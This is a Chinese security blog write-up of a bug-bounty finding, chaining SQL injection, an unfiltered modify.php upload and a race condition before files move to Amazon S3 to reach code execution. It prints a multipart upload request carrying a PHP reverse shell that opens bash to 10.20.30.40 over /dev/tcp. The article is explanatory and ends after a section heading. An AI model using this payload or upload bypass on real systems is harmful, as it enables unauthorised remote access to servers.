主页 > 网络知识 > 利用竞争条件(Race Condition)对目标Web应用实现RCE

利用竞争条件(Race Condition)对目标Web应用实现RCE

 

利用竞争条件(Race Condition)对目标Web应用实现RCE

 

本文讲述了作者在某邀请测试项目中,通过对SQL注入和竞争条件(Race Condition)的组合利用,利用上传文件到服务器和服务器转移上传文件到Amazon S3的时间差,最终实现了对目标应用的RCE漏洞。由于该RCE漏洞的发现相对独特,所以作者在本文中着重从竞争条件(Race Condition)的触发机制说起,和大家分享。

竞争条件(Race Condition):计算机运行过程中,并发、无序、大量的进程在使用有限、独占、不可抢占的资源,由于进程无限,资源有限,产生矛盾,这种矛盾称为竞争(Race)。竞争条件(Race Condition)旨在描述一个系统或者进程的输出依赖于不受控制的事件出现顺序或者出现时机。由于两个或者多个进程竞争使用不能被同时访问的资源,使得这些进程有可能因为时间上推进的先后原因而出现问题。

漏洞详情 第一个上传功能点upload.php

这里的前提是,我已经通过SQL注入获取到了目标Web应用的管理员账户凭据,然后登录到其内部管理界面后,我发现可通过该管理面板中的upload.php功能发布新闻或文章:

 

利用竞争条件(Race Condition)对目标Web应用实现RCE

 

没做太多考虑,我就直接通过upload.php尝试上传了一个.php文件shell,但问题是该上传功能限制了对.php格式文件的上传,在变化.PhP、.php3、phpphp、空字符等形式的绕过方法后,还是不行:

 

利用竞争条件(Race Condition)对目标Web应用实现RCE

 

然后,我想到了存储型XSS,能不能通过上传 .html、.xml或.svg格式文件呢?这一下上传总算成功了,但是,由于目标Web应用又会把用户上传文件转储到云端的S3存储桶中去,那在S3存储桶触发XSS也没意义了。好吧,那暂时把这个问题放一边,来看其它的。

第二个上传功能点modify.php

在没有头绪之时,我又返回管理面板中“news”栏目,想看看能不能在添加或编辑操作中发现可利用的点。此时,我注意到了“edit”功能,如下在这个非法上传文件右上端,我点击了其“edit”按钮:

 

利用竞争条件(Race Condition)对目标Web应用实现RCE

 

然后跳出了以下包含upload to replacing the file的窗口:

 

利用竞争条件(Race Condition)对目标Web应用实现RCE

 

我想到的是,它可能也是包含了限制过滤条件吧,但事实是,它没有任何后缀格式限制条件!可以上传任意文件!那就上传吧,如果没有限制条件的话,那它调用的应该不是之前的upload.php,确实是,它调用了另一上传功能点“modify.php”,以下是它的调用请求格式:

Content-Disposition: form-data; name="fileid"

31337

-----------------------------09234599689937136550676151776

Content-Disposition: form-data; name="name"

picture-1.png

-----------------------------09234599689937136550676151776

Content-Disposition: form-data; name="description"

-----------------------------09234599689937136550676151776

Content-Disposition: form-data; name="userfile"; filename="reverse.php"

Content-Type: text/php

<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'");

-----------------------------09234599689937136550676151776

Content-Disposition: form-data; name="save"

Save

大功告成了吗?并没有。目标Web应用之后还会把用户上传文件转储上传到云端S3存储桶中去,也就是说,如果被传到S3中去,在目标Web应用的服务器中,我们也没shell可反弹了。

竞争条件(Race Condition)响应错误获得本地文件路径

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!